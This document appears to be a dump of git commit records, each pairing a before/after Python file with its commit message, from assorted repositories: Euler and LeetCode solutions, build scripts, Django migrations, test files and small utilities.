# Sum of multiples of 3 or 5 under 1000, simplified:
# print (3 * 333 * 334 / 2) + (5 * 199 * 200 / 2) - (15 * 66 * 67 / 2)
def getSumOfMultiple(num, li... | <commit_before><commit_msg>Add optimized multiples-of-3-and-5 in Python<commit_after>from __future__ import division
from math import ceil
from itertools import combinations
from operator import mul
# Sum of multiples of 3 or 5 under 1000, simplified:
# print (3 * 333 * 334 / 2) + (5 * 199 * 200 / 2) - (15 * 66 ... | |
fb222d4e7a3ff33ac3f3e84e655f303b4d961246 | support/jenkins/buildAllModulesWithErrors.py | support/jenkins/buildAllModulesWithErrors.py | import os
from subprocess import call
# To be called from the build folder in the OpenSpace
modules = os.listdir("../modules")
cmd = ["cmake"]
cmd.append("-DGHOUL_USE_DEVIL=OFF")
cmd.append("-OPENSPACE_WARNINGS_AS_ERRORS=ON")
for m in modules:
cmd.append("-DOPENSPACE_MODULE_" + m.upper() + "=ON")
cmd.append(".."... | Add python script to build all modules with warnings as errors | Add python script to build all modules with warnings as errors
| Python | mit | OpenSpace/OpenSpace,OpenSpace/OpenSpace,OpenSpace/OpenSpace,OpenSpace/OpenSpace | Add python script to build all modules with warnings as errors | import os
from subprocess import call
# To be called from the build folder in the OpenSpace
modules = os.listdir("../modules")
cmd = ["cmake"]
cmd.append("-DGHOUL_USE_DEVIL=OFF")
cmd.append("-OPENSPACE_WARNINGS_AS_ERRORS=ON")
for m in modules:
cmd.append("-DOPENSPACE_MODULE_" + m.upper() + "=ON")
cmd.append(".."... | <commit_before><commit_msg>Add python script to build all modules with warnings as errors<commit_after> | import os
from subprocess import call
# To be called from the build folder in the OpenSpace
modules = os.listdir("../modules")
cmd = ["cmake"]
cmd.append("-DGHOUL_USE_DEVIL=OFF")
cmd.append("-OPENSPACE_WARNINGS_AS_ERRORS=ON")
for m in modules:
cmd.append("-DOPENSPACE_MODULE_" + m.upper() + "=ON")
cmd.append(".."... | Add python script to build all modules with warnings as errorsimport os
from subprocess import call
# To be called from the build folder in the OpenSpace
modules = os.listdir("../modules")
cmd = ["cmake"]
cmd.append("-DGHOUL_USE_DEVIL=OFF")
cmd.append("-OPENSPACE_WARNINGS_AS_ERRORS=ON")
for m in modules:
cmd.appe... | <commit_before><commit_msg>Add python script to build all modules with warnings as errors<commit_after>import os
from subprocess import call
# To be called from the build folder in the OpenSpace
modules = os.listdir("../modules")
cmd = ["cmake"]
cmd.append("-DGHOUL_USE_DEVIL=OFF")
cmd.append("-OPENSPACE_WARNINGS_AS_E... | |
e7cf300f1a9e878c7a34a719442c71128892b9f3 | server/xml_server.py | server/xml_server.py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2014 gm <gm@PONTADATELHA>
#
# Distributed under terms of the MIT license.
"""
"""
import sys
from server import Server
class XMLServer(Server):
def getTemperatures(self):
return reduce(lambda x,y: x+y, map(lambda sensor: ['<... | Add initial implementation of XMLServer | Add initial implementation of XMLServer
| Python | apache-2.0 | Solucionamos/dummybmc | Add initial implementation of XMLServer | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2014 gm <gm@PONTADATELHA>
#
# Distributed under terms of the MIT license.
"""
"""
import sys
from server import Server
class XMLServer(Server):
def getTemperatures(self):
return reduce(lambda x,y: x+y, map(lambda sensor: ['<... | <commit_before><commit_msg>Add initial implementation of XMLServer<commit_after> | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2014 gm <gm@PONTADATELHA>
#
# Distributed under terms of the MIT license.
"""
"""
import sys
from server import Server
class XMLServer(Server):
def getTemperatures(self):
return reduce(lambda x,y: x+y, map(lambda sensor: ['<... | Add initial implementation of XMLServer#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2014 gm <gm@PONTADATELHA>
#
# Distributed under terms of the MIT license.
"""
"""
import sys
from server import Server
class XMLServer(Server):
def getTemperatures(self):
return reduce(... | <commit_before><commit_msg>Add initial implementation of XMLServer<commit_after>#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2014 gm <gm@PONTADATELHA>
#
# Distributed under terms of the MIT license.
"""
"""
import sys
from server import Server
class XMLServer(Server):
def getT... | |
c0d38e490d6503209e08b1b5906b579339088714 | data2sql/data2sql.py | data2sql/data2sql.py | # -*- coding: utf-8 -*-
"""
Rongxin Yin, 11/2/2016
"""
import pandas as pd
import seaborn as sns
a = [1,2,3]
df = pd.DataFrame(a,['a','b','c'])
print("Done")
| Add script to convert data into sql | Add script to convert data into sql
| Python | bsd-2-clause | rongxinyin/pge-adr,rongxinyin/pge-adr | Add script to convert data into sql | # -*- coding: utf-8 -*-
"""
Rongxin Yin, 11/2/2016
"""
import pandas as pd
import seaborn as sns
a = [1,2,3]
df = pd.DataFrame(a,['a','b','c'])
print("Done")
| <commit_before><commit_msg>Add script to convert data into sql<commit_after> | # -*- coding: utf-8 -*-
"""
Rongxin Yin, 11/2/2016
"""
import pandas as pd
import seaborn as sns
a = [1,2,3]
df = pd.DataFrame(a,['a','b','c'])
print("Done")
| Add script to convert data into sql# -*- coding: utf-8 -*-
"""
Rongxin Yin, 11/2/2016
"""
import pandas as pd
import seaborn as sns
a = [1,2,3]
df = pd.DataFrame(a,['a','b','c'])
print("Done")
| <commit_before><commit_msg>Add script to convert data into sql<commit_after># -*- coding: utf-8 -*-
"""
Rongxin Yin, 11/2/2016
"""
import pandas as pd
import seaborn as sns
a = [1,2,3]
df = pd.DataFrame(a,['a','b','c'])
print("Done")
| |
b354166b9d244b1b4a1092c2a77cb45f84bdea1d | leetcode/challenge/day01.py | leetcode/challenge/day01.py | """
Given a non-empty array of integers, every element appears twice except for one. Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
"""
class Solution:
def singleNumber(self, nums: List[int]) -> int:
for i i... | Add day1 of ht eleet code challenge | Add day1 of ht eleet code challenge
| Python | mit | lemming52/white_pawn,lemming52/white_pawn | Add day1 of ht eleet code challenge | """
Given a non-empty array of integers, every element appears twice except for one. Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
"""
class Solution:
def singleNumber(self, nums: List[int]) -> int:
for i i... | <commit_before><commit_msg>Add day1 of ht eleet code challenge<commit_after> | """
Given a non-empty array of integers, every element appears twice except for one. Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
"""
class Solution:
def singleNumber(self, nums: List[int]) -> int:
for i i... | Add day1 of ht eleet code challenge"""
Given a non-empty array of integers, every element appears twice except for one. Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
"""
class Solution:
def singleNumber(self, nums: ... | <commit_before><commit_msg>Add day1 of ht eleet code challenge<commit_after>"""
Given a non-empty array of integers, every element appears twice except for one. Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
"""
class Sol... | |
4dffd31c432df77f4a65f50d76d96d27079e7fe5 | link-table/link_table.py | link-table/link_table.py | import copy
class Node(object):
def __init__(self, val=None):
self.val = val
self.next = None
def reverse_link_table1(hd):
if hd == None or hd.next == None:
return hd
pre = hd
nxt = hd.next
while nxt.next!= None:
tmp = nxt.next
nxt.next = pre
pre... | Add link list python implementation | Add link list python implementation
| Python | apache-2.0 | free-free/algorithm,free-free/algorithm | Add link list python implementation | import copy
class Node(object):
def __init__(self, val=None):
self.val = val
self.next = None
def reverse_link_table1(hd):
if hd == None or hd.next == None:
return hd
pre = hd
nxt = hd.next
while nxt.next!= None:
tmp = nxt.next
nxt.next = pre
pre... | <commit_before><commit_msg>Add link list python implementation<commit_after> | import copy
class Node(object):
def __init__(self, val=None):
self.val = val
self.next = None
def reverse_link_table1(hd):
if hd == None or hd.next == None:
return hd
pre = hd
nxt = hd.next
while nxt.next!= None:
tmp = nxt.next
nxt.next = pre
pre... | Add link list python implementationimport copy
class Node(object):
def __init__(self, val=None):
self.val = val
self.next = None
def reverse_link_table1(hd):
if hd == None or hd.next == None:
return hd
pre = hd
nxt = hd.next
while nxt.next!= None:
tmp = nxt.next... | <commit_before><commit_msg>Add link list python implementation<commit_after>import copy
class Node(object):
def __init__(self, val=None):
self.val = val
self.next = None
def reverse_link_table1(hd):
if hd == None or hd.next == None:
return hd
pre = hd
nxt = hd.next
whil... | |
c2dd4d666e5d68a387ea48cabb99006d778b6d56 | rng.py | rng.py | def get_random_number(start=1, end=10):
"""https://xkcd.com/221/"""
return 4
| from random import randint
def get_random_number(start=1, end=10):
"""Generates and returns random number between :start: and :end:"""
return randint(start, end)
| Fix python random number generator. | Fix python random number generator.
| Python | mit | 1yvT0s/illacceptanything,illacceptanything/illacceptanything,paladique/illacceptanything,ultranaut/illacceptanything,tjhorner/illacceptanything,1yvT0s/illacceptanything,dushmis/illacceptanything,tjhorner/illacceptanything,caioproiete/illacceptanything,triggerNZ/illacceptanything,illacceptanything/illacceptanything,caio... | def get_random_number(start=1, end=10):
"""https://xkcd.com/221/"""
return 4
Fix python random number generator. | from random import randint
def get_random_number(start=1, end=10):
"""Generates and returns random number between :start: and :end:"""
return randint(start, end)
| <commit_before>def get_random_number(start=1, end=10):
"""https://xkcd.com/221/"""
return 4
<commit_msg>Fix python random number generator.<commit_after> | from random import randint
def get_random_number(start=1, end=10):
"""Generates and returns random number between :start: and :end:"""
return randint(start, end)
| def get_random_number(start=1, end=10):
"""https://xkcd.com/221/"""
return 4
Fix python random number generator.from random import randint
def get_random_number(start=1, end=10):
"""Generates and returns random number between :start: and :end:"""
return randint(start, end)
| <commit_before>def get_random_number(start=1, end=10):
"""https://xkcd.com/221/"""
return 4
<commit_msg>Fix python random number generator.<commit_after>from random import randint
def get_random_number(start=1, end=10):
"""Generates and returns random number between :start: and :end:"""
return randint(... |
7d918fd407b2f5a6de3e3a47b9c7f0e510efd3aa | deconstrst/config.py | deconstrst/config.py | # -*- coding: utf-8 -*-
import sh
import re
class Configuration:
"""
Configuration settings derived from the environment and current git branch.
"""
def __init__(self, env):
self.content_store_url = env.get("CONTENT_STORE_URL")
self.content_id_base = env.get("CONTENT_ID_BASE")
... | Manage the submission decision from Configuration. | Manage the submission decision from Configuration.
| Python | apache-2.0 | deconst/preparer-sphinx,ktbartholomew/preparer-sphinx,deconst/preparer-sphinx,ktbartholomew/preparer-sphinx | Manage the submission decision from Configuration. | # -*- coding: utf-8 -*-
import sh
import re
class Configuration:
"""
Configuration settings derived from the environment and current git branch.
"""
def __init__(self, env):
self.content_store_url = env.get("CONTENT_STORE_URL")
self.content_id_base = env.get("CONTENT_ID_BASE")
... | <commit_before><commit_msg>Manage the submission decision from Configuration.<commit_after> | # -*- coding: utf-8 -*-
import sh
import re
class Configuration:
"""
Configuration settings derived from the environment and current git branch.
"""
def __init__(self, env):
self.content_store_url = env.get("CONTENT_STORE_URL")
self.content_id_base = env.get("CONTENT_ID_BASE")
... | Manage the submission decision from Configuration.# -*- coding: utf-8 -*-
import sh
import re
class Configuration:
"""
Configuration settings derived from the environment and current git branch.
"""
def __init__(self, env):
self.content_store_url = env.get("CONTENT_STORE_URL")
self.c... | <commit_before><commit_msg>Manage the submission decision from Configuration.<commit_after># -*- coding: utf-8 -*-
import sh
import re
class Configuration:
"""
Configuration settings derived from the environment and current git branch.
"""
def __init__(self, env):
self.content_store_url = en... | |
69032c5fbd21b6efe66da2c2da4cfbdfd0e17803 | scripts/convert_dates.py | scripts/convert_dates.py | import os
PATH = os.path.expanduser('/media/itto/TOSHIBA EXT/Photos/To sort')
for item in os.listdir(PATH):
itemPath = os.path.join(PATH, item)
if os.path.isfile(itemPath):
pass
else:
day, month, year = item.split('-')
newName = '{}-{}-{}'.format(year, month, day)
newPath =... | Add script to convert from Sony folder name structure | Add script to convert from Sony folder name structure
| Python | mit | itko/itko.github.io,itko/itko.github.io,itko/itko.github.io,itko/itko.github.io | Add script to convert from Sony folder name structure | import os
PATH = os.path.expanduser('/media/itto/TOSHIBA EXT/Photos/To sort')
for item in os.listdir(PATH):
itemPath = os.path.join(PATH, item)
if os.path.isfile(itemPath):
pass
else:
day, month, year = item.split('-')
newName = '{}-{}-{}'.format(year, month, day)
newPath =... | <commit_before><commit_msg>Add script to convert from Sony folder name structure<commit_after> | import os
PATH = os.path.expanduser('/media/itto/TOSHIBA EXT/Photos/To sort')
for item in os.listdir(PATH):
itemPath = os.path.join(PATH, item)
if os.path.isfile(itemPath):
pass
else:
day, month, year = item.split('-')
newName = '{}-{}-{}'.format(year, month, day)
newPath =... | Add script to convert from Sony folder name structureimport os
PATH = os.path.expanduser('/media/itto/TOSHIBA EXT/Photos/To sort')
for item in os.listdir(PATH):
itemPath = os.path.join(PATH, item)
if os.path.isfile(itemPath):
pass
else:
day, month, year = item.split('-')
newName = ... | <commit_before><commit_msg>Add script to convert from Sony folder name structure<commit_after>import os
PATH = os.path.expanduser('/media/itto/TOSHIBA EXT/Photos/To sort')
for item in os.listdir(PATH):
itemPath = os.path.join(PATH, item)
if os.path.isfile(itemPath):
pass
else:
day, month, ... | |
54ea08989016cc5e8c90d98fac6d0a6f341b0a9a | test/__init__.py | test/__init__.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import inspect
import unittest
sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(
os.path.abspath(inspect.getfile(inspect.currentframe()))))))
import pygh
class TestPyGh(unittest.TestCase):
'''
Tests functions that are avai... | Add basic unit test support | Add basic unit test support
This pretty much is only testing that the file imports correctly in
different versions of python
| Python | bsd-3-clause | vcatechnology/pygh | Add basic unit test support
This pretty much is only testing that the file imports correctly in
different versions of python | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import inspect
import unittest
sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(
os.path.abspath(inspect.getfile(inspect.currentframe()))))))
import pygh
class TestPyGh(unittest.TestCase):
'''
Tests functions that are avai... | <commit_before><commit_msg>Add basic unit test support
This pretty much is only testing that the file imports correctly in
different versions of python<commit_after> | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import inspect
import unittest
sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(
os.path.abspath(inspect.getfile(inspect.currentframe()))))))
import pygh
class TestPyGh(unittest.TestCase):
'''
Tests functions that are avai... | Add basic unit test support
This pretty much is only testing that the file imports correctly in
different versions of python#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import inspect
import unittest
sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(
os.path.abspath(inspect.ge... | <commit_before><commit_msg>Add basic unit test support
This pretty much is only testing that the file imports correctly in
different versions of python<commit_after>#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import inspect
import unittest
sys.path.append(os.path.dirname(os.path.dirname(os.pat... | |
bf444772b650893b78dec9bacf4dcbcb749d20a5 | check_subgraph.py | check_subgraph.py | # This technique works best of the proposed subgraph is small. It does not scale
# well if both graphs are large.
import graphlab as gl
def is_subgraph(subgraph, g, vert_id='__id', src_id='__src_id',
dst_id='__dst_id'):
"""
Check if `sub_g` is a subgraph of `g`. `vert_id`, `src_id`, and
`d... | Add how-to for checking if one graph is a subgraph of another. | Add how-to for checking if one graph is a subgraph of another.
| Python | cc0-1.0 | srikris/how-to,dato-code/how-to,nagyistoce/how-to-graphlab-create | Add how-to for checking if one graph is a subgraph of another. | # This technique works best of the proposed subgraph is small. It does not scale
# well if both graphs are large.
import graphlab as gl
def is_subgraph(subgraph, g, vert_id='__id', src_id='__src_id',
dst_id='__dst_id'):
"""
Check if `sub_g` is a subgraph of `g`. `vert_id`, `src_id`, and
`d... | <commit_before><commit_msg>Add how-to for checking if one graph is a subgraph of another.<commit_after> | # This technique works best of the proposed subgraph is small. It does not scale
# well if both graphs are large.
import graphlab as gl
def is_subgraph(subgraph, g, vert_id='__id', src_id='__src_id',
dst_id='__dst_id'):
"""
Check if `sub_g` is a subgraph of `g`. `vert_id`, `src_id`, and
`d... | Add how-to for checking if one graph is a subgraph of another.# This technique works best of the proposed subgraph is small. It does not scale
# well if both graphs are large.
import graphlab as gl
def is_subgraph(subgraph, g, vert_id='__id', src_id='__src_id',
dst_id='__dst_id'):
"""
Check if... | <commit_before><commit_msg>Add how-to for checking if one graph is a subgraph of another.<commit_after># This technique works best of the proposed subgraph is small. It does not scale
# well if both graphs are large.
import graphlab as gl
def is_subgraph(subgraph, g, vert_id='__id', src_id='__src_id',
... | |
b36e0ce911b35b3f1dccad9f616df72253ed9560 | benchexec/tools/jdart.py | benchexec/tools/jdart.py | """
BenchExec is a framework for reliable benchmarking.
This file is part of BenchExec.
Copyright (C) 2007-2018 Dirk Beyer
All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
ht... | Add Tool Info for JDart | Add Tool Info for JDart
| Python | apache-2.0 | dbeyer/benchexec,ultimate-pa/benchexec,ultimate-pa/benchexec,ultimate-pa/benchexec,ultimate-pa/benchexec,sosy-lab/benchexec,sosy-lab/benchexec,ultimate-pa/benchexec,sosy-lab/benchexec,dbeyer/benchexec,ultimate-pa/benchexec,dbeyer/benchexec,sosy-lab/benchexec,sosy-lab/benchexec,dbeyer/benchexec,sosy-lab/benchexec | Add Tool Info for JDart | """
BenchExec is a framework for reliable benchmarking.
This file is part of BenchExec.
Copyright (C) 2007-2018 Dirk Beyer
All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
ht... | <commit_before><commit_msg>Add Tool Info for JDart<commit_after> | """
BenchExec is a framework for reliable benchmarking.
This file is part of BenchExec.
Copyright (C) 2007-2018 Dirk Beyer
All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
ht... | Add Tool Info for JDart"""
BenchExec is a framework for reliable benchmarking.
This file is part of BenchExec.
Copyright (C) 2007-2018 Dirk Beyer
All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy o... | <commit_before><commit_msg>Add Tool Info for JDart<commit_after>"""
BenchExec is a framework for reliable benchmarking.
This file is part of BenchExec.
Copyright (C) 2007-2018 Dirk Beyer
All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance ... | |
bddb35ecbf7953c2b95f3db41fedd97199646e7b | yunity/tests/integration/test_permissions.py | yunity/tests/integration/test_permissions.py | from django.test import TestCase
from yunity.base.other_models import Group
from yunity.permissions.resolver import resolve_permissions
from yunity.users.models import ProfileVisibility
from yunity.utils.tests.mock import MockUser
from yunity.walls.models import Wall
class PermissionsTests(TestCase):
def setUp(se... | Add basic permission system tests | Add basic permission system tests
Test some permissions on a users wall.
with @nicksellen
| Python | agpl-3.0 | yunity/yunity-core,yunity/foodsaving-backend,yunity/foodsaving-backend,yunity/foodsaving-backend,yunity/yunity-core | Add basic permission system tests
Test some permissions on a users wall.
with @nicksellen | from django.test import TestCase
from yunity.base.other_models import Group
from yunity.permissions.resolver import resolve_permissions
from yunity.users.models import ProfileVisibility
from yunity.utils.tests.mock import MockUser
from yunity.walls.models import Wall
class PermissionsTests(TestCase):
def setUp(se... | <commit_before><commit_msg>Add basic permission system tests
Test some permissions on a users wall.
with @nicksellen<commit_after> | from django.test import TestCase
from yunity.base.other_models import Group
from yunity.permissions.resolver import resolve_permissions
from yunity.users.models import ProfileVisibility
from yunity.utils.tests.mock import MockUser
from yunity.walls.models import Wall
class PermissionsTests(TestCase):
def setUp(se... | Add basic permission system tests
Test some permissions on a users wall.
with @nicksellenfrom django.test import TestCase
from yunity.base.other_models import Group
from yunity.permissions.resolver import resolve_permissions
from yunity.users.models import ProfileVisibility
from yunity.utils.tests.mock import MockUse... | <commit_before><commit_msg>Add basic permission system tests
Test some permissions on a users wall.
with @nicksellen<commit_after>from django.test import TestCase
from yunity.base.other_models import Group
from yunity.permissions.resolver import resolve_permissions
from yunity.users.models import ProfileVisibility
fr... | |
6ecb2fc93c183e7a2c6574de25cf3d0a2fe66fe7 | hs_core/management/commands/add_owner.py | hs_core/management/commands/add_owner.py | """ Add an owner to a resource or resources
"""
from django.core.management.base import BaseCommand
from django.contrib.auth.models import User
from hs_core.hydroshare.utils import get_resource_by_shortkey
from hs_access_control.models.privilege import UserResourcePrivilege, PrivilegeCodes
class Command(BaseCommand)... | Add an owner to an existing resource. | Add an owner to an existing resource.
| Python | bsd-3-clause | hydroshare/hydroshare,hydroshare/hydroshare,hydroshare/hydroshare,hydroshare/hydroshare,hydroshare/hydroshare | Add an owner to an existing resource. | """ Add an owner to a resource or resources
"""
from django.core.management.base import BaseCommand
from django.contrib.auth.models import User
from hs_core.hydroshare.utils import get_resource_by_shortkey
from hs_access_control.models.privilege import UserResourcePrivilege, PrivilegeCodes
class Command(BaseCommand)... | <commit_before><commit_msg>Add an owner to an existing resource.<commit_after> | """ Add an owner to a resource or resources
"""
from django.core.management.base import BaseCommand
from django.contrib.auth.models import User
from hs_core.hydroshare.utils import get_resource_by_shortkey
from hs_access_control.models.privilege import UserResourcePrivilege, PrivilegeCodes
class Command(BaseCommand)... | Add an owner to an existing resource.""" Add an owner to a resource or resources
"""
from django.core.management.base import BaseCommand
from django.contrib.auth.models import User
from hs_core.hydroshare.utils import get_resource_by_shortkey
from hs_access_control.models.privilege import UserResourcePrivilege, Privil... | <commit_before><commit_msg>Add an owner to an existing resource.<commit_after>""" Add an owner to a resource or resources
"""
from django.core.management.base import BaseCommand
from django.contrib.auth.models import User
from hs_core.hydroshare.utils import get_resource_by_shortkey
from hs_access_control.models.privi... | |
bf3a54c07deea9285e92339e40ae140d51d1ce67 | euler032.py | euler032.py | #!/usr/bin/python
from functools import reduce
from math import sqrt
pan_set = set()
for i in range(1000, 9999):
for j in range(2, int(sqrt(i)) + 1):
if j * (i // j) == i:
if len(set(str(j) + str(i // j) + str(i)) - set('0')) == 9:
pan_set.add(i)
print(sum(pan_set))
| Add solution for problem 32 | Add solution for problem 32
This is an optimized solution, with some hint from Euler forum, after
solved with a slow brute algorith using permutation (see 24). BTW, with
some analisys is possible to reduce the searching space
| Python | mit | cifvts/PyEuler | Add solution for problem 32
This is an optimized solution, with some hint from Euler forum, after
solved with a slow brute algorith using permutation (see 24). BTW, with
some analisys is possible to reduce the searching space | #!/usr/bin/python
from functools import reduce
from math import sqrt
pan_set = set()
for i in range(1000, 9999):
for j in range(2, int(sqrt(i)) + 1):
if j * (i // j) == i:
if len(set(str(j) + str(i // j) + str(i)) - set('0')) == 9:
pan_set.add(i)
print(sum(pan_set))
| <commit_before><commit_msg>Add solution for problem 32
This is an optimized solution, with some hint from Euler forum, after
solved with a slow brute algorith using permutation (see 24). BTW, with
some analisys is possible to reduce the searching space<commit_after> | #!/usr/bin/python
from functools import reduce
from math import sqrt
pan_set = set()
for i in range(1000, 9999):
for j in range(2, int(sqrt(i)) + 1):
if j * (i // j) == i:
if len(set(str(j) + str(i // j) + str(i)) - set('0')) == 9:
pan_set.add(i)
print(sum(pan_set))
| Add solution for problem 32
This is an optimized solution, with some hint from Euler forum, after
solved with a slow brute algorith using permutation (see 24). BTW, with
some analisys is possible to reduce the searching space#!/usr/bin/python
from functools import reduce
from math import sqrt
pan_set = set()
for i ... | <commit_before><commit_msg>Add solution for problem 32
This is an optimized solution, with some hint from Euler forum, after
solved with a slow brute algorith using permutation (see 24). BTW, with
some analisys is possible to reduce the searching space<commit_after>#!/usr/bin/python
from functools import reduce
from ... | |
b6a85378d210dc3954a43f25c855ca20f68972b3 | software/dev/fade_pat.py | software/dev/fade_pat.py | #!/usr/bin/python
import os
import sys
import math
from colorsys import hsv_to_rgb
from hippietrap.chandelier import Chandelier, BROADCAST, NUM_NODES
from hippietrap.color import Color
from time import sleep, time
from random import random
STEPS = 5000
device = "/dev/serial0"
ch = Chandelier()
ch.open(device)
ch.cl... | Add test script for fade pattern | Add test script for fade pattern
| Python | mit | mayhem/led-chandelier,mayhem/led-chandelier,mayhem/led-chandelier | Add test script for fade pattern | #!/usr/bin/python
import os
import sys
import math
from colorsys import hsv_to_rgb
from hippietrap.chandelier import Chandelier, BROADCAST, NUM_NODES
from hippietrap.color import Color
from time import sleep, time
from random import random
STEPS = 5000
device = "/dev/serial0"
ch = Chandelier()
ch.open(device)
ch.cl... | <commit_before><commit_msg>Add test script for fade pattern<commit_after> | #!/usr/bin/python
import os
import sys
import math
from colorsys import hsv_to_rgb
from hippietrap.chandelier import Chandelier, BROADCAST, NUM_NODES
from hippietrap.color import Color
from time import sleep, time
from random import random
STEPS = 5000
device = "/dev/serial0"
ch = Chandelier()
ch.open(device)
ch.cl... | Add test script for fade pattern#!/usr/bin/python
import os
import sys
import math
from colorsys import hsv_to_rgb
from hippietrap.chandelier import Chandelier, BROADCAST, NUM_NODES
from hippietrap.color import Color
from time import sleep, time
from random import random
STEPS = 5000
device = "/dev/serial0"
ch = Ch... | <commit_before><commit_msg>Add test script for fade pattern<commit_after>#!/usr/bin/python
import os
import sys
import math
from colorsys import hsv_to_rgb
from hippietrap.chandelier import Chandelier, BROADCAST, NUM_NODES
from hippietrap.color import Color
from time import sleep, time
from random import random
STEPS... | |
0c689031a2252a460c3420f99bad14f83eb751d2 | mla_game/apps/transcript/migrations/0016_auto_20171027_1844.py | mla_game/apps/transcript/migrations/0016_auto_20171027_1844.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-10-27 18:44
from __future__ import unicode_literals
from django.db import migrations
def create_votes(apps, schema_editor):
Profile = apps.get_model(
'accounts', 'Profile'
)
TranscriptPhraseVote = apps.get_model(
'transcript', '... | Convert un-downvoted considered phrases to upvotes | Convert un-downvoted considered phrases to upvotes
| Python | mit | WGBH/FixIt,WGBH/FixIt,WGBH/FixIt | Convert un-downvoted considered phrases to upvotes | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-10-27 18:44
from __future__ import unicode_literals
from django.db import migrations
def create_votes(apps, schema_editor):
Profile = apps.get_model(
'accounts', 'Profile'
)
TranscriptPhraseVote = apps.get_model(
'transcript', '... | <commit_before><commit_msg>Convert un-downvoted considered phrases to upvotes<commit_after> | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-10-27 18:44
from __future__ import unicode_literals
from django.db import migrations
def create_votes(apps, schema_editor):
Profile = apps.get_model(
'accounts', 'Profile'
)
TranscriptPhraseVote = apps.get_model(
'transcript', '... | Convert un-downvoted considered phrases to upvotes# -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-10-27 18:44
from __future__ import unicode_literals
from django.db import migrations
def create_votes(apps, schema_editor):
Profile = apps.get_model(
'accounts', 'Profile'
)
TranscriptPh... | <commit_before><commit_msg>Convert un-downvoted considered phrases to upvotes<commit_after># -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-10-27 18:44
from __future__ import unicode_literals
from django.db import migrations
def create_votes(apps, schema_editor):
Profile = apps.get_model(
'ac... | |
01df9e651fff0d7619dc8bbe5b353ca050b2d966 | bluebottle/tasks/migrations/0007_auto_20160720_1139.py | bluebottle/tasks/migrations/0007_auto_20160720_1139.py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-07-20 09:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('tasks', '0006_auto_20160720_1058'),
]
operations = [
migrations.AlterField(
... | Change description for task types | Change description for task types
| Python | bsd-3-clause | onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle | Change description for task types | # -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-07-20 09:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('tasks', '0006_auto_20160720_1058'),
]
operations = [
migrations.AlterField(
... | <commit_before><commit_msg>Change description for task types<commit_after> | # -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-07-20 09:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('tasks', '0006_auto_20160720_1058'),
]
operations = [
migrations.AlterField(
... | Change description for task types# -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-07-20 09:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('tasks', '0006_auto_20160720_1058'),
]
operations = ... | <commit_before><commit_msg>Change description for task types<commit_after># -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-07-20 09:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('tasks', '0006_auto_... | |
def303f225777894c2c03fbd0d4f42bbd647a53e | analysis/source.py | analysis/source.py | import climate
import codecs
import csv
import gzip
import numpy as np
import os
import pandas as pd
logging = climate.get_logger('source')
class Subject:
def __init__(self, root):
self.root = root
self.blocks = [Block(os.path.join(root, f)) for f in os.listdir(root)]
logging.info('%s: lo... | Add a small starter library for experiment data. | Add a small starter library for experiment data.
| Python | mit | lmjohns3/cube-experiment,lmjohns3/cube-experiment,lmjohns3/cube-experiment | Add a small starter library for experiment data. | import climate
import codecs
import csv
import gzip
import numpy as np
import os
import pandas as pd
logging = climate.get_logger('source')
class Subject:
def __init__(self, root):
self.root = root
self.blocks = [Block(os.path.join(root, f)) for f in os.listdir(root)]
logging.info('%s: lo... | <commit_before><commit_msg>Add a small starter library for experiment data.<commit_after> | import climate
import codecs
import csv
import gzip
import numpy as np
import os
import pandas as pd
logging = climate.get_logger('source')
class Subject:
def __init__(self, root):
self.root = root
self.blocks = [Block(os.path.join(root, f)) for f in os.listdir(root)]
